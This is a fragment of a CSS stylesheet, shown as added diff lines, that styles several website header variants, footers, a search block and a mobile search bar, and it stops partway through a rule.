+ .ub-header .logo a { + margin-right: -1.25rem; + height: 2.5rem + } + .ub-header .logo a img { + height: 2.5rem + } + .ub-header .menu { + position: fixed; + display: block; + background: #fff; + top: 2.5rem; + right: -50%; + bottom: 0; + overflow: hidden; + width: 50%; + transition: right .5s; + text-align: left; + z-index: 100 + } + .ub-header .menu a { + display: block; + border-bottom: .05rem solid #eee; + background: #fff + } + .ub-header .menu-toggle { + display: block; + float: right; + line-height: 2.5rem; + font-size: 1.2rem; + text-align: center; + width: 2.5rem; + cursor: pointer; + color: var(--color-primary) + } + .ub-header .menu-toggle .close { + display: none + } + .ub-header .menu-toggle .show { + display: block + } + .ub-header.show .menu-mask { + content: ''; + display: block; + background: var(--color-mask); + position: fixed; + top: 2.5rem; + right: 0; + bottom: 0; + left: 0; + z-index: 99 + } + .ub-header.show .menu { + right: 0; + transition: right .3s + } + .ub-header.show .menu-toggle .close { + display: block + } + .ub-header.show .menu-toggle .show { + display: none + } +} + +.ub-header-a { + background: var(--color-primary) +} + +.ub-header-a .top { + height: 1.5rem; + line-height: 1.5rem; + background: var(--color-primary-dark) +} + +.ub-header-a .top a { + display: inline-block; + margin: 0 .5rem; + line-height: 1.5rem; + color: #fff +} + +.ub-header-a .top a:hover { + color: #eee +} + +.ub-header-a .top .right { + float: right +} + +.ub-header-a .background { + padding: 1rem 0; + background: no-repeat right; + background-size: contain +} + +.ub-header-a .background .menu-toggle { + display: none +} + +.ub-header-a .background .logo a img { + height: 4rem +} + +.ub-header-a .menu { + padding: 0; + margin: 0; + box-shadow: #eee 0 0 .1rem +} + +.ub-header-a .menu li { + display: inline-block; + height: 2.5rem; + overflow: visible; + position: relative +} + +.ub-header-a .menu li a { + display: inline-block; + line-height: 2.5rem; + text-align: center; + min-width: 8em; + color: #fff; + font-size: var(--font-size-large); + margin: 0 .05rem +} + +.ub-header-a .menu li a:hover { + background: #fff; + color: var(--color-primary) +} + +.ub-header-a .menu li .sub { + display: none; + position: absolute; + background: var(--color-primary); + padding: 0 .05rem .1rem .05rem; + width: 100%; + z-index: 100 +} + +.ub-header-a .menu li .sub a { + min-width: inherit; + display: block +} + +.ub-header-a .menu li:hover .sub { + display: block +} + +@media screen and (max-width:40rem) { + .ub-header-a { + position: relative; + overflow: hidden + } + .ub-header-a .top { + position: absolute; + top: 0; + left: 0; + right: 0; + height: 4rem; + z-index: 100; + display: none + } + .ub-header-a .top .left, + .ub-header-a .top .right { + float: none; + height: 2rem + } + .ub-header-a .top .left a, + .ub-header-a .top .right a { + line-height: 2rem + } + .ub-header-a .background { + position: relative + } + .ub-header-a .background .menu-toggle { + z-index: 101; + background: rgba(0, 0, 0, .2); + display: block; + width: 2.5rem; + height: 2.5rem; + line-height: 2.5rem; + text-align: center; + font-size: var(--font-size-large); + color: #fff; + border-radius: 0; + position: absolute; + right: 0; + top: 0; + border: .05rem solid var(--color-primary) + } + .ub-header-a .menu { + position: absolute; + left: 0; + right: 0; + top: 4rem; + background: var(--color-primary); + display: none; + z-index: 100 + } + .ub-header-a .menu li { + display: block; + height: auto; + padding: 0 0 0 .5rem; + border-top: .05rem solid var(--color-primary-light) + } + .ub-header-a .menu li a { + display: block; + text-align: left + } + .ub-header-a .menu li .sub { + display: block; + position: static; + overflow: hidden; + padding-left: .5rem + } + .ub-header-a .menu li .sub a { + border-top: .05rem solid var(--color-primary); + display: block; + width: 33.33%; + float: left; + margin: 0; + text-align: center + } +} + +.ub-header-b-placeholder { + height: 3rem; + overflow: hidden +} + +.ub-header-b { + height: 3rem; + background-color: var(--color-content-bg); + overflow: visible +} + +.ub-header-b.fixed { + position: fixed; + top: 0; + right: 0; + left: 0; + z-index: 2000 +} + +.ub-header-b.transparent { + background: 0 0 +} + +.ub-header-b.transparent .nav .nav-item, +.ub-header-b.transparent .nav a { + color: #eee +} + +.ub-header-b.transparent .nav .nav-item.active, +.ub-header-b.transparent .nav .nav-item:hover, +.ub-header-b.transparent .nav a.active, +.ub-header-b.transparent .nav a:hover { + color: #fff +} + +.ub-header-b.transparent .menu>.item>a, +.ub-header-b.transparent .menu>a { + color: #fff +} + +.ub-header-b.transparent .menu>.item>a.active, +.ub-header-b.transparent .menu>.item>a:hover, +.ub-header-b.transparent .menu>a.active, +.ub-header-b.transparent .menu>a:hover { + color: #eee +} + +.ub-header-b.primary { + background: var(--color-primary) +} + +.ub-header-b.primary .nav a { + color: #eee +} + +.ub-header-b.primary .nav a.active, +.ub-header-b.primary .nav a:hover { + color: #fff +} + +.ub-header-b.primary .nav .sub-nav-item { + color: var(--color-text) +} + +.ub-header-b.primary .menu a { + color: #eee +} + +.ub-header-b.primary .menu a.active, +.ub-header-b.primary .menu a:hover { + color: #fff +} + +.ub-header-b .logo { + padding: 0 0; + float: left; + margin-right: 2rem +} + +.ub-header-b .logo a { + height: 3rem; + line-height: 3rem; + display: block; + font-size: 1rem; + vertical-align: middle +} + +.ub-header-b .logo a img { + height: 3rem; + vertical-align: middle; + display: block +} + +.ub-header-b .nav { + padding: .5rem 0 .5rem .5rem +} + +.ub-header-b .nav .nav-item, +.ub-header-b .nav a { + display: inline-block; + line-height: 2rem; + color: var(--color-text); + padding: 0 .5rem; + font-size: .7rem; + position: relative +} + +.ub-header-b .nav .nav-item:hover, +.ub-header-b .nav a:hover { + color: var(--color-primary) +} + +.ub-header-b .nav .nav-item:hover .sub-nav, +.ub-header-b .nav a:hover .sub-nav { + display: block +} + +.ub-header-b .nav .nav-item.active, +.ub-header-b .nav a.active { + color: var(--color-primary) +} + +.ub-header-b .nav .nav-item .sub-title, +.ub-header-b .nav a .sub-title { + display: inline-block; + line-height: 2rem; + cursor: pointer +} + +.ub-header-b .nav .nav-item .sub-title a, +.ub-header-b .nav a .sub-title a { + padding: 0; + margin: 0 +} + +.ub-header-b .nav .nav-item .sub-nav, +.ub-header-b .nav a .sub-nav { + position: absolute; + top: 2rem; + left: 0; + background: var(--color-content-bg); + z-index: 99999; + border-radius: .25rem; + box-shadow: 0 0 2px var(--color-body-line); + display: none; + padding: 0 +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-item, +.ub-header-b .nav a .sub-nav .sub-nav-item { + display: block; + line-height: 2rem; + white-space: nowrap; + margin-left: 0 +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-item:hover, +.ub-header-b .nav a .sub-nav .sub-nav-item:hover { + color: var(--color-primary) +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group, +.ub-header-b .nav a .sub-nav .sub-nav-group { + position: relative +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group:hover .sub-nav-group-nav, +.ub-header-b .nav a .sub-nav .sub-nav-group:hover .sub-nav-group-nav { + display: block +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item, +.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-item { + display: block; + line-height: 2rem; + cursor: pointer; + white-space: nowrap +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav, +.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav { + position: absolute; + z-index: 99999; + border-radius: .25rem; + box-shadow: 0 0 .25rem var(--color-body-line); + display: none; + left: 100%; + top: 0; + background: var(--color-content-bg) +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav .sub-nav-group-nav-item, +.ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav .sub-nav-group-nav-item { + white-space: nowrap; + display: block; + line-height: 2rem; + cursor: pointer +} + +.ub-header-b .nav .nav-item .sub-title a:after { + content: ''; + display: inline-block; + width: 0; + height: 0; + border-width: .25rem; + border-style: solid; + border-color: var(--color-muted) transparent transparent transparent; + vertical-align: middle; + transform: translateY(.1rem); + margin-left: .1rem +} + +.ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item:after { + content: ''; + display: inline-block; + width: 0; + height: 0; + border-width: .25rem; + border-style: solid; + border-color: transparent transparent transparent var(--color-muted); + vertical-align: middle; + transform: translateY(-.1rem); + margin-left: .1rem +} + +.ub-header-b .nav .search { + float: right; + display: inline-block; + height: 2rem; + border-radius: 1rem; + padding: .2rem .5rem .2rem .75rem; + width: 16em; + border: .05rem solid var(--color-body-line); + transition: box-shadow .3s; + background-color: var(--color-content-bg) +} + +.ub-header-b .nav .search:focus-within, +.ub-header-b .nav .search:hover { + box-shadow: 0 0 10px #ccc; + border-color: transparent +} + +.ub-header-b .nav .search.has-drop .box input { + padding-left: 2.3rem +} + +.ub-header-b .nav .search .search-select { + position: absolute; + width: 1.6rem; + top: 0; + overflow: visible +} + +.ub-header-b .nav .search .search-select.show .search-select-drop { + display: block +} + +.ub-header-b .nav .search .search-select .search-select-box { + height: 1.5rem; + line-height: 1.5rem; + white-space: nowrap; + color: var(--color-tertiary-light); + cursor: pointer +} + +.ub-header-b .nav .search .search-select .search-select-box .iconfont { + margin: 0; + color: var(--color-muted) +} + +.ub-header-b .nav .search .search-select .search-select-drop { + position: absolute; + background: #fff; + box-shadow: 0 0 5px #999; + border-radius: .25rem; + left: -.5rem; + top: 1.5rem; + display: none; + z-index: 1000 +} + +.ub-header-b .nav .search .search-select .search-select-drop .search-select-item { + display: block; + color: var(--color-text); + white-space: nowrap; + padding: 0; + margin-left: 0; + width: 2.5rem; + text-align: center; + line-height: 1.5rem +} + +.ub-header-b .nav .search .search-select .search-select-drop .search-select-item:hover { + color: var(--color-primary) +} + +.ub-header-b .nav .search .box { + vertical-align: middle; + position: relative +} + +.ub-header-b .nav .search .box input { + height: 1.5rem; + display: block; + width: 100%; + padding: 0 1.5rem 0 0; + border: none; + background: 0 0; + color: var(--color-text) +} + +.ub-header-b .nav .search .box button { + position: absolute; + right: 0; + top: 0; + height: 1.5rem; + width: 1.5rem; + border: none; + outline: 0; + font-size: .9rem; + color: #c4cfdb; + cursor: pointer; + background: 0 0 +} + +.ub-header-b .nav .search .box button:hover { + color: var(--color-primary) +} + +.ub-header-b .menu { + float: right; + padding: .5rem 0 +} + +.ub-header-b .menu .item, +.ub-header-b .menu a { + display: inline-block; + line-height: 2rem; + color: var(--color-text); + margin-left: .5rem; + font-size: .7rem; + position: relative; + height: 2rem +} + +.ub-header-b .menu .item:hover .sub-title, +.ub-header-b .menu a:hover .sub-title { + color: var(--color-primary) +} + +.ub-header-b .menu .item:hover .sub-nav, +.ub-header-b .menu a:hover .sub-nav { + display: block +} + +.ub-header-b .menu .item .sub-nav, +.ub-header-b .menu a .sub-nav { + position: absolute; + background: var(--color-content-bg); + z-index: 99999; + border-radius: .25rem; + box-shadow: 0 0 2px var(--color-body-line); + display: none; + right: 0 +} + +.ub-header-b .menu .item .sub-nav .sub-nav-item, +.ub-header-b .menu a .sub-nav .sub-nav-item { + display: block; + line-height: 2rem; + white-space: nowrap; + margin-left: 0; + padding: 0 .5rem +} + +.ub-header-b .menu .item .sub-nav .sub-nav-item:hover, +.ub-header-b .menu a .sub-nav .sub-nav-item:hover { + color: var(--color-primary) +} + +.ub-header-b .menu .item.menu-btn, +.ub-header-b .menu a.menu-btn { + border-radius: 1rem; + height: 1.5rem; + line-height: 1.5rem; + padding: 0 .5rem; + color: #fff +} + +.ub-header-b .menu .item.menu-btn .icon, +.ub-header-b .menu .item.menu-btn .iconfont, +.ub-header-b .menu a.menu-btn .icon, +.ub-header-b .menu a.menu-btn .iconfont { + line-height: 1.5rem +} + +.ub-header-b .menu .item .icon, +.ub-header-b .menu .item .iconfont, +.ub-header-b .menu a .icon, +.ub-header-b .menu a .iconfont { + line-height: 2rem; + vertical-align: top; + width: .8rem; + display: inline-block; + text-align: center +} + +.ub-header-b .menu .item .badge, +.ub-header-b .menu a .badge { + position: absolute; + top: 0; + right: -.3rem; + background: red; + color: #fff; + height: .8rem; + line-height: .8rem; + font-size: .6rem; + border-radius: .4rem; + min-width: .8rem; + text-align: center; + padding: 0 .2rem +} + +.ub-header-b .menu .item .badge.hide, +.ub-header-b .menu a .badge.hide { + display: none +} + +.ub-header-b .menu .item:hover, +.ub-header-b .menu a:hover { + color: #333 +} + +.ub-header-b .menu .item .active, +.ub-header-b .menu a .active { + color: #fff +} + +.ub-header-b .nav-toggle { + display: none +} + +@media screen and (min-width:40rem) { + [data-header-sticky-disable] .ub-header, + [data-header-sticky-disable] .ub-header-b { + top: -3rem !important + } + .ub-header, + .ub-header-b { + position: sticky; + transition: top .3s; + z-index: 2000; + top: -3rem + } + html.body-scroll-far .ub-header, + html.body-scroll-far .ub-header-b { + top: 0; + box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .05) + } + html.body-scroll-far .ub-header-b.transparent, + html.body-scroll-far .ub-header.transparent { + background-color: #fff + } + html.body-scroll-far .ub-header-b.transparent .nav .nav-item, + html.body-scroll-far .ub-header-b.transparent .nav a, + html.body-scroll-far .ub-header.transparent .nav .nav-item, + html.body-scroll-far .ub-header.transparent .nav a { + color: var(--color-text) + } + html.body-scroll-far .ub-header-b.transparent .nav .nav-item.active, + html.body-scroll-far .ub-header-b.transparent .nav .nav-item:hover, + html.body-scroll-far .ub-header-b.transparent .nav a.active, + html.body-scroll-far .ub-header-b.transparent .nav a:hover, + html.body-scroll-far .ub-header.transparent .nav .nav-item.active, + html.body-scroll-far .ub-header.transparent .nav .nav-item:hover, + html.body-scroll-far .ub-header.transparent .nav a.active, + html.body-scroll-far .ub-header.transparent .nav a:hover { + color: var(--color-primary) + } + html.body-scroll-far .ub-header-b.transparent .menu>.item>a, + html.body-scroll-far .ub-header-b.transparent .menu>a, + html.body-scroll-far .ub-header.transparent .menu>.item>a, + html.body-scroll-far .ub-header.transparent .menu>a { + color: var(--color-text) + } + html.body-scroll-far .ub-header-b.transparent .menu>.item>a.active, + html.body-scroll-far .ub-header-b.transparent .menu>.item>a:hover, + html.body-scroll-far .ub-header-b.transparent .menu>a.active, + html.body-scroll-far .ub-header-b.transparent .menu>a:hover, + html.body-scroll-far .ub-header.transparent .menu>.item>a.active, + html.body-scroll-far .ub-header.transparent .menu>.item>a:hover, + html.body-scroll-far .ub-header.transparent .menu>a.active, + html.body-scroll-far .ub-header.transparent .menu>a:hover { + color: var(--color-primary) + } +} + +@media screen and (max-width:40rem) { + .ub-header-b { + text-align: left; + height: 2.5rem + } + .ub-header-b.transparent.show .nav a { + color: var(--color-text) + } + .ub-header-b.transparent .nav-toggle { + color: #fff + } + .ub-header-b .logo { + display: inline-block; + margin-left: 2.5rem + } + .ub-header-b .logo a { + height: 2.5rem; + line-height: 2.5rem + } + .ub-header-b .logo a img { + height: 2.5rem + } + .ub-header-b.show .nav-mask { + content: ''; + display: block; + background: var(--color-mask); + position: fixed; + top: 2.5rem; + right: 0; + bottom: 0; + left: 0; + z-index: 1000 + } + .ub-header-b.show .nav { + transform: translateX(100%); + position: fixed + } + .ub-header-b.show .nav-toggle .close { + display: block + } + .ub-header-b.show .nav-toggle .show { + display: none + } + .ub-header-b .menu { + position: absolute; + right: 0; + top: 0; + padding: .25rem 0 + } + .ub-header-b .menu a { + display: inline-block; + padding: 0 .3rem 0 0; + background: 0 0; + line-height: 2rem + } + .ub-header-b .nav-toggle { + display: block; + position: absolute; + left: 0; + top: 0; + line-height: 2.5rem; + font-size: 1.2rem; + text-align: center; + width: 2.5rem; + cursor: pointer; + color: var(--color-primary) + } + .ub-header-b .nav-toggle .close { + display: none + } + .ub-header-b .nav-toggle .show { + display: block + } + .ub-header-b.primary .nav-toggle { + color: #fff + } + .ub-header-b .nav { + position: absolute; + display: block; + background: var(--color-content-bg); + top: 2.5rem; + left: -60%; + bottom: 0; + overflow: hidden; + width: 60%; + transition: right .5s; + text-align: left; + z-index: 100; + overflow-y: auto; + padding-right: .5rem; + transition: transform .3s; + transform: translateX(0); + z-index: 1001 + } + .ub-header-b .nav .search { + display: block; + float: none; + margin: 0 auto .5rem auto; + width: auto + } + .ub-header-b .nav .nav-item, + .ub-header-b .nav a { + display: block; + background: var(--color-content-bg) + } + .ub-header-b .nav .nav-item .sub-nav, + .ub-header-b .nav a .sub-nav { + display: block; + position: static; + box-shadow: none + } + .ub-header-b .nav .nav-item .sub-nav .sub-nav-item:last-child, + .ub-header-b .nav a .sub-nav .sub-nav-item:last-child { + border-bottom: none + } + .ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-nav, + .ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-nav { + display: block; + position: static; + padding-left: .5rem; + box-shadow: none + } + .ub-header-b .nav .nav-item .sub-nav .sub-nav-group .sub-nav-group-item:after, + .ub-header-b .nav a .sub-nav .sub-nav-group .sub-nav-group-item:after { + border-color: var(--color-muted) transparent transparent transparent; + transform: translateY(-.1rem) + } + .ub-header-b.primary .nav a { + color: #333 + } + .ub-header-b.primary .nav a.active { + color: var(--color-primary) + } +} + +.ub-header-c-placeholder { + height: 3rem; + overflow: hidden +} + +.ub-header-c { + height: 3rem; + background: var(--color-content-bg); + overflow: hidden; + position: fixed; + text-align: center; + top: 0; + left: 0; + right: 0; + z-index: 1000 +} + +.ub-header-c .logo { + position: absolute; + top: 0; + left: 3rem +} + +.ub-header-c .logo .logo-link { + line-height: 2rem; + display: inline-block; + padding: .5rem 0; + font-size: 1rem; + vertical-align: middle +} + +.ub-header-c .logo .logo-link .logo-image { + height: 2rem; + vertical-align: middle; + display: inline-block +} + +.ub-header-c .search .box { + vertical-align: middle; + margin-top: .5rem; + display: inline-block; + height: 2rem; + border-radius: 1rem; + padding: .2rem .5rem .2rem .75rem; + width: 30%; + max-width: 30em; + border: 1px solid var(--color-body-line); + position: relative; + background-color: var(--color-body-bg) +} + +.ub-header-c .search .box .input { + height: 1.5rem; + display: block; + width: 100%; + padding: 0 1.5rem 0 0; + border: none; + background: 0 0; + color: var(--color-text) +} + +.ub-header-c .search .box .submit { + position: absolute; + right: 0; + top: 0; + height: 1.9rem; + border: none; + outline: 0; + font-size: .7rem; + color: var(--color-text); + cursor: pointer; + background: var(--color-body-bg); + border-radius: 0 1rem 1rem 0; + padding: 0 .6rem 0 .5rem +} + +.ub-header-c .search .box .submit:hover { + background: var(--color-body-bg); + color: var(--color-primary) +} + +.ub-header-c .menu { + position: absolute; + right: 0; + top: 0; + padding: .6rem 1rem 0 0 +} + +.ub-header-c .menu .item { + vertical-align: middle; + display: inline-block; + line-height: 1.6rem; + height: 1.6rem; + padding: 0 .6rem; + margin-left: .5rem; + font-size: .7rem; + border-radius: 4px; + border: solid 1px var(--color-primary); + color: var(--color-primary); + cursor: pointer +} + +.ub-header-c .menu .item-icon { + vertical-align: middle; + color: var(--color-text); + display: inline-block; + padding: 0 .6rem; + margin-top: -.2rem +} + +.ub-header-c .menu .item-icon .icon { + font-size: 1rem; + line-height: 1.4rem +} + +.ub-header-c .menu .item-icon .text { + font-size: var(--font-size-small) +} + +.ub-header-c .menu .item-icon:hover { + color: var(--color-primary) +} + +.ub-header-c .menu-mask, +.ub-header-c .menu-toggle, +.ub-header-c .search-toggle { + display: none +} + +@media screen and (max-width:40rem) { + .ub-header-c { + padding: 0 3rem; + text-align: center + } + .ub-header-c.show .menu-mask { + content: ''; + display: block; + background: var(--color-mask); + position: fixed; + top: 3rem; + right: 0; + bottom: 0; + left: 0; + z-index: 1000 + } + .ub-header-c.show .menu { + z-index: 1001; + right: 0; + transition: right .3s + } + .ub-header-c.show .menu-toggle .close { + display: block + } + .ub-header-c.show .menu-toggle .show { + display: none + } + .ub-header-c.show-search .search-mask { + content: ''; + display: block; + background: var(--color-mask); + position: fixed; + top: 3rem; + right: 0; + bottom: 0; + left: 0; + z-index: 1000 + } + .ub-header-c.show-search .search { + z-index: 1001; + display: block + } + .ub-header-c.show-search .search-toggle .close { + display: block + } + .ub-header-c.show-search .search-toggle .show { + display: none + } + .ub-header-c .logo { + position: static + } + .ub-header-c .search-toggle { + display: block; + position: absolute; + left: 0; + top: 0; + line-height: 3rem; + font-size: 1.2rem; + text-align: center; + width: 3rem; + cursor: pointer; + color: var(--color-primary) + } + .ub-header-c .search-toggle .close { + display: none + } + .ub-header-c .search-toggle .show { + display: block + } + .ub-header-c .search { + display: none; + padding: 0 .5rem .5rem .5rem; + background: var(--color-content-bg); + position: fixed; + top: 3rem; + left: 0; + right: 0; + text-align: center + } + .ub-header-c .search .box { + width: 80% + } + .ub-header-c .menu-toggle { + display: block; + position: absolute; + right: 0; + top: 0; + line-height: 3rem; + font-size: 1.2rem; + text-align: center; + width: 3rem; + cursor: pointer; + color: var(--color-primary) + } + .ub-header-c .menu-toggle .close { + display: none + } + .ub-header-c .menu-toggle .show { + display: block + } + .ub-header-c .menu { + position: fixed; + right: -8rem; + top: 3rem; + background: #fff; + padding: .5rem; + border-radius: var(--size-radius) + } + .ub-header-c .menu .item-icon { + width: 6rem; + font-size: 1rem; + padding: 0; + display: block; + line-height: 2rem; + border-bottom: 1px dotted #eee + } + .ub-header-c .menu .item-icon .icon { + display: inline-block; + font-size: 1rem + } + .ub-header-c .menu .item-icon .text { + display: inline-block; + font-size: var(--font-size) + } + .ub-header-c .menu .item { + display: block; + margin-top: .5rem; + margin-left: 0 + } +} + +.ub-header-d { + background: #fff +} + +.ub-header-d .top { + background-color: rgba(236, 236, 236, .65); + height: 1.75rem +} + +.ub-header-d .top .right { + text-align: right +} + +.ub-header-d .top .right .item { + display: inline-block; + line-height: 1.75rem; + color: #333; + padding: 0 1rem +} + +.ub-header-d .main { + height: 4.7rem; + border-bottom: .25rem solid rgba(236, 236, 236, .65) +} + +.ub-header-d .main .menu { + float: right +} + +.ub-header-d .main .menu .item { + color: var(--color-primary); + font-size: var(--font-size-large); + line-height: 4.2rem; + padding: 0 1rem; + display: inline-block; + border-bottom: .25rem solid transparent; + transition: border-bottom-color .5s +} + +.ub-header-d .main .menu .item.active, +.ub-header-d .main .menu .item:hover { + border-bottom: .25rem solid var(--color-primary) +} + +.ub-header-d .main .logo { + height: 4.7rem +} + +.ub-header-d .main .logo a { + display: inline-block; + margin-top: .85rem +} + +.ub-header-d .main .logo a img { + height: 3rem +} + +.ub-header-d .menu-toggle { + display: none +} + +@media screen and (max-width:40rem) { + .ub-header-d { + position: relative; + overflow: hidden + } + .ub-header-d.show-menu .menu-toggle { + transform: rotate(90deg) + } + .ub-header-d.show-menu .main .menu { + right: 0 + } + .ub-header-d .menu-toggle { + display: block; + position: absolute; + right: 0; + top: 1.75rem; + line-height: 2.7rem; + font-size: 1.2rem; + text-align: center; + width: 2.7rem; + cursor: pointer; + color: var(--color-primary); + transition: all .5s + } + .ub-header-d .main { + height: 2.7rem + } + .ub-header-d .main .menu { + position: fixed; + right: -35%; + top: 4.2rem; + width: 30%; + background: #fff; + box-shadow: 0 2px 5px #ccc; + transition: all .5s; + z-index: 2000 + } + .ub-header-d .main .menu .item { + display: block; + font-size: var(--font-size); + line-height: 2rem; + text-align: center + } + .ub-header-d .main .logo { + height: 2.7rem + } + .ub-header-d .main .logo a { + margin-top: .3rem + } + .ub-header-d .main .logo a img { + height: 2rem + } +} + +.ub-header-mobile.no-shadow .header-container { + box-shadow: none +} + +.ub-header-mobile .header-status { + position: fixed; + top: 0; + left: 0; + right: 0; + z-index: 10000; + background: var(--color-content-bg) +} + +.ub-header-mobile .header-container { + position: fixed; + left: 0; + right: 0; + height: 50px; + z-index: 500; + box-shadow: 0 1px 1px var(--color-body-line); + background: var(--color-content-bg) +} + +.ub-header-mobile .header-container .body { + display: flex; + height: 50px; + line-height: 50px +} + +.ub-header-mobile .header-container .body .left-wrap, +.ub-header-mobile .header-container .body .right-wrap { + flex-shrink: 0 +} + +.ub-header-mobile .header-container .body.has-back .action { + min-width: 50px +} + +.ub-header-mobile .header-container .body .back { + font-size: 32px; + width: 50px; + line-height: 50px; + text-align: center; + min-width: 50px; + flex-shrink: 0 +} + +.ub-header-mobile .header-container .body .title { + font-size: 20px; + line-height: 50px; + height: 50px; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + flex-grow: 1; + padding: 0 .25rem +} + +.ub-header-mobile .header-container .body .action { + text-align: center; + flex-shrink: 0 +} + +.ub-header-mobile .header-container .body .action .item { + line-height: 50px; + width: 50px; + text-align: center; + display: block +} + +.ub-header-mobile .header-container .body .action .iconfont { + font-size: var(--font-size-large) +} + +.ub-header-mobile .header-container-placeholder { + height: 50px; + width: 100%; + clear: both +} + +@media screen and (min-width:40rem) { + .ub-header-mobile .header-container { + box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .05) + } +} + +.ub-footer { + text-align: center; + padding: 1.5rem 0; + margin-top: 1rem; + background: var(--color-body-bg); + border-top: 1px solid var(--color-body-line) +} + +.ub-footer .nav { + padding: .5rem 0 +} + +.ub-footer .nav a { + color: var(--color-text); + display: inline-block; + margin: 0 .25rem +} + +.ub-footer .nav a:hover { + text-decoration: underline +} + +.ub-footer .copyright { + color: var(--color-text) +} + +.ub-footer .copyright a { + color: var(--color-text) +} + +.ub-footer-a { + text-align: center; + padding: 1.5rem 0; + border-top: .05rem solid #eee; + background: var(--color-primary); + margin-top: 1rem +} + +.ub-footer-a .nav { + padding: .5rem 0 +} + +.ub-footer-a .nav a { + color: #fff; + display: inline-block; + margin: 0 .25rem +} + +.ub-footer-a .nav a:hover { + text-decoration: underline +} + +.ub-footer-a .copyright { + color: #fff +} + +.ub-footer-a .copyright a { + color: #fff +} + +.ub-footer-link { + padding: 2rem 0 +} + +.ub-footer-link a { + color: var(--color-text) +} + +.ub-footer-link a:hover { + text-decoration: underline +} + +.ub-footer-link.reverse { + background: #1b1c20; + color: #c4cfdb +} + +.ub-footer-link.reverse a { + color: #c4cfdb +} + +.ub-footer-link.reverse .line { + background-color: #32343c +} + +.ub-footer-link .link { + padding: 1rem 0 +} + +.ub-footer-link .link .title { + font-size: 1rem +} + +.ub-footer-link .link .list a { + margin: .5rem 0; + display: block +} + +.ub-footer-link .content { + padding: 1rem 0 +} + +.ub-footer-link .line { + height: 1px; + background: #eee; + margin: 1rem 0 +} + +.ub-footer-link .nav { + padding: .5rem 0; + text-align: center +} + +.ub-footer-link .nav a { + margin: 0 .25rem +} + +.ub-footer-link .copyright { + text-align: center +} + +@media screen and (max-width:40rem) { + .ub-footer-link .link { + text-align: left; + padding: 1rem + } + .ub-footer-link .image { + text-align: center + } +} + +.ub-search-block { + background-color: var(--color-primary); + padding: 2rem .5rem 3rem .5rem; + text-align: center; + position: relative; + background-size: cover +} + +.ub-search-block.light { + background-color: #fff +} + +.ub-search-block.light .title { + color: var(--color-text-default) +} + +.ub-search-block.light .form .box input { + border-color: var(--color-primary); + outline: 1px solid var(--color-primary) +} + +.ub-search-block.light .form .box button { + background-color: var(--color-primary); + color: #fff +} + +.ub-search-block .video-background { + top: 0; + left: 0; + height: 100%; + -o-object-fit: cover; + object-fit: cover; + background-color: var(--color-primary); + vertical-align: top; + position: absolute; + width: 100% +} + +.ub-search-block .content-container { + position: relative +} + +.ub-search-block .title { + font-size: 1.5rem; + padding: 0; + color: #fff +} + +.ub-search-block .sub-title { + font-size: var(--font-size-large, 1rem); + color: #fff +} + +.ub-search-block .form { + padding-top: 1rem +} + +.ub-search-block .form .tab .tab-item { + color: #fff; + display: inline-block; + line-height: 1.8rem; + padding: 0 1rem; + border-radius: .5rem .5rem 0 0 +} + +.ub-search-block .form .tab .tab-item.active { + background-color: var(--color-content-bg); + color: var(--color-primary) +} + +.ub-search-block .form .keywords { + line-height: 1.5rem; + color: var(--color-content-bg); + margin-top: 1.5rem +} + +.ub-search-block .form .keywords .keywords-label { + display: inline-block; + line-height: 1.5rem +} + +.ub-search-block .form .keywords .keywords-item { + display: inline-block; + line-height: 1.5rem; + background-color: rgba(0, 0, 0, .1); + border-radius: .3rem; + color: #fff; + padding: 0 .5rem +} + +.ub-search-block .form .keywords .keywords-item:hover { + background-color: var(--color-content-bg); + color: var(--color-text) +} + +.ub-search-block .form .box { + max-width: 25rem; + margin: 0 auto; + position: relative; + height: 2.5rem +} + +.ub-search-block .form .box.rect input { + border-radius: .5rem +} + +.ub-search-block .form .box.rect button { + border-radius: .5rem +} + +.ub-search-block .form .box.captcha img { + height: 2.4rem; + line-height: 2.4rem; + position: absolute; + right: 5rem; + top: .05rem; + border-radius: .25rem; + cursor: pointer +} + +.ub-search-block .form .box input { + width: 100%; + border-radius: 2.5rem; + line-height: 2.5rem; + height: 2.5rem; + padding: 0 1rem; + outline: 0 +} + +.ub-search-block .form .box button { + position: absolute; + right: .05rem; + top: .05rem; + background-color: #fff; + border: none; + border-radius: 1.25rem; + color: var(--color-primary, #419488); + height: 2.4rem; + line-height: 2.4rem; + padding: 0 1rem; + margin: 0 +} + +@media (max-width:40rem) { + .ub-search-block .title { + font-size: 1rem + } +} + +.ub-search-mobile-bar { + display: flex; + height: 2rem; + overflow: hidden; + background-color: var(--color-content-bg); + line-height: 2rem; + padding: 0 .5rem +} + +.ub-search-mobile-bar.page { + background-color: var(--color-content-bg); + height: 2.5rem; + padding: .25rem 0 +} + +.ub-search-mobile-bar.page .center .box { + background-color: var(--color-input-bg) +} + +.ub-search-mobile-bar .center .item, +.ub-search-mobile-bar .left .item, +.ub-search-mobile-bar .right .item { + display: inline-block; + min-width: 2rem; + line-height: 2rem; + text-align: center; + color: #666 +} + +.ub-search-mobile-bar .center .item .icon, +.ub-search-mobile-bar .left .item .icon, +.ub-search-mobile-bar .right .item .icon { + display: inline-block; + font-size: var(--font-size-large, 1rem) +} + +.ub-search-mobile-bar .center { + flex: 1; + line-height: 1.4rem +} + +.ub-search-mobile-bar .center .box { + margin-top: .3rem; + position: relative; + height: 1.4rem; + background-color: var(--color-input-bg); + border-radius: .7rem +} + +.ub-search-mobile-bar .center .box .icon { + position: absolute; + display: block; + left: .5rem; + top: .4rem; + line-height: 1em; + height: 